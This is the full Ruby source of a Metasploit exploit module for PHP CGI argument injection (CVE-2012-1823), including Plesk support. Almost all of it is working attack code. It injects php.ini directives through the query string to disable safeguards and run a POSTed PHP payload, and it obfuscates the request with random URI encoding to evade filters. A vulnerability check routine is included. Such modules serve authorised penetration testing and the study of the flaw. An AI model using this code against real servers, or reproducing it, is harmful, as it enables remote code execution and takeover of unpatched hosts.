228 lines
6.8 KiB
Ruby
228 lines
6.8 KiB
Ruby
##
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# This module requires Metasploit: http//metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'PHP CGI Argument Injection',
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'Description' => %q{
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When run as a CGI, PHP up to version 5.3.12 and 5.4.2 is vulnerable to
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an argument injection vulnerability. This module takes advantage of
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the -d flag to set php.ini directives to achieve code execution.
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From the advisory: "if there is NO unescaped '=' in the query string,
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the string is split on '+' (encoded space) characters, urldecoded,
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passed to a function that escapes shell metacharacters (the "encoded in
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a system-defined manner" from the RFC) and then passes them to the CGI
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binary." This module can also be used to exploit the plesk 0day disclosed
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by kingcope and exploited in the wild on June 2013.
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},
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'Author' =>
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[
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'egypt', 'hdm', #original msf exploit
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'jjarmoc', #added URI encoding obfuscation
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'kingcope', #plesk poc
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'juan vazquez' #add support for plesk exploitation
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],
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'License' => MSF_LICENSE,
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'References' => [
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[ 'CVE', '2012-1823' ],
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[ 'OSVDB', '81633'],
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[ 'OSVDB', '93979'],
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[ 'EDB', '25986'],
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[ 'URL', 'http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/' ],
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[ 'URL', 'http://kb.parallels.com/en/116241']
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],
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'Privileged' => false,
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'Payload' =>
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{
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'DisableNops' => true,
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# Arbitrary big number. The payload gets sent as an HTTP
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# response body, so really it's unlimited
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'Space' => 262144, # 256k
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},
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'DisclosureDate' => 'May 03 2012',
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'Platform' => 'php',
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'Arch' => ARCH_PHP,
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'Targets' => [[ 'Automatic', { }]],
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'DefaultTarget' => 0))
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register_options([
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OptString.new('TARGETURI', [false, "The URI to request (must be a CGI-handled PHP script)"]),
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OptInt.new('URIENCODING', [true, "Level of URI URIENCODING and padding (0 for minimum)",0]),
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OptBool.new('PLESK', [true, "Exploit Plesk", false]),
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], self.class)
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end
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# php-cgi -h
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# ...
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# -s Display colour syntax highlighted source.
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def check
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print_status("Checking uri #{uri}")
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response = send_request_raw({ 'uri' => uri })
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if response and response.code == 200 and response.body =~ /\<code\>\<span style.*\<\;\?/mi and not datastore['PLESK']
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print_error("Server responded in a way that was ambiguous, could not determine whether it was vulnerable")
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return Exploit::CheckCode::Unknown
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end
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response = send_request_raw({ 'uri' => uri + "?#{create_arg("-s")}"})
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if response and response.code == 200 and response.body =~ /\<code\>\<span style.*\<\;\?/mi
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return Exploit::CheckCode::Vulnerable
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end
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if datastore['PLESK'] and response and response.code == 500
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return Exploit::CheckCode::Appears
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end
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print_error("Server responded indicating it was not vulnerable")
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return Exploit::CheckCode::Safe
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end
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def uri
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if datastore['PLESK']
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normalize_uri("phppath", "php")
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else
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normalize_uri(target_uri.path).gsub(/\?.*/, "")
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end
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end
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def uri_encoding_level
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if datastore['PLESK']
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return 0
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else
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return datastore['URIENCODING']
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end
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end
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def exploit
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begin
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args = [
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rand_spaces(),
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create_arg("-d","allow_url_include=#{rand_php_ini_true}"),
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create_arg("-d","safe_mode=#{rand_php_ini_false}"),
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create_arg("-d","suhosin.simulation=#{rand_php_ini_true}"),
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create_arg("-d",'disable_functions=""'),
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create_arg("-d","open_basedir=none"),
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create_arg("-d","auto_prepend_file=php://input"),
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rand_opt_equiv("-n")
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]
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qs = args.join()
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# Has to be all on one line, so gsub out the comments and the newlines
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payload_oneline = "<?php " + payload.encoded.gsub(/\s*#.*$/, "").gsub("\n", "")
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response = send_request_cgi( {
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'method' => "POST",
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'global' => true,
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'uri' => "#{uri}?#{qs}",
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'data' => payload_oneline,
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}, 0.5)
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handler
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rescue ::Interrupt
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raise $!
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rescue ::Rex::HostUnreachable, ::Rex::ConnectionRefused
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print_error("The target service unreachable")
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rescue ::OpenSSL::SSL::SSLError
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print_error("The target failed to negotiate SSL, is this really an SSL service?")
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end
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end
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def create_arg(arg, val = nil)
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if val
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val = rand_encode(val)
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val.gsub!('=','%3d') # = must always be encoded
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val.gsub!('"','%22') # " too
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end
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ret = ''
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ret << "#{rand_spaces}"
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ret << "#{rand_opt_equiv(arg)}"
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ret << "#{rand_space}"
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ret << "#{rand_spaces}"
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ret << "#{val}"
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ret << "#{rand_space}"
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end
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def rand_opt_equiv(opt)
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# Returns a random equivilant option from mapping at
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# http://www.php.net/manual/en/features.commandline.options.php
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opt_equivs = {
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"-d" => [
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"#{rand_dash}#{rand_encode("d")}",
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"#{rand_dash}#{rand_dash}#{rand_encode("define")}"
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],
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"-s" => [
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"#{rand_dash}#{rand_encode("s")}",
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"#{rand_dash}#{rand_dash}#{rand_encode("syntax-highlight")}",
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"#{rand_dash}#{rand_dash}#{rand_encode("syntax-highlighting")}"
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],
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"-T" => [
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"#{rand_dash}#{rand_encode("T")}",
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"#{rand_dash}#{rand_dash}#{rand_encode("timing")}"
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],
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"-n" => [
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"#{rand_dash}#{rand_encode("n")}",
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"#{rand_dash}#{rand_dash}#{rand_encode("no-php-ini")}"
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]
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}
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equivs = opt_equivs[opt]
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equivs ? equivs[rand(opt_equivs[opt].length)] : opt
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end
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def rand_encode(string, max = string.length)
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# Randomly URI encode characters from string, up to max times.
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chars = [];
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if max > uri_encoding_level then max = uri_encoding_level end
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if string.length == 1
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if rand(2) > 0
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chars << 0
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end
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else
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if max > 0
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max.times { chars << rand(string.length)}
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end
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end
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chars.uniq.sort.reverse.each{|index| string[index] = Rex::Text.uri_encode(string[index,1], "hex-all")}
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string
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end
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def rand_spaces(num = uri_encoding_level)
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ret = ''
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num.times {
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ret << rand_space
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}
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ret
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end
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def rand_space
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uri_encoding_level > 0 ? ["%20","%09","+"][rand(3)] : "+"
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end
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def rand_dash
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uri_encoding_level > 0 ? ["-","%2d","%2D"][rand(3)] : "-"
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end
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def rand_php_ini_false
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Rex::Text.to_rand_case([ "0", "off", "false" ][rand(3)])
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end
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def rand_php_ini_true
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Rex::Text.to_rand_case([ "1", "on", "true" ][rand(3)])
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end
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end
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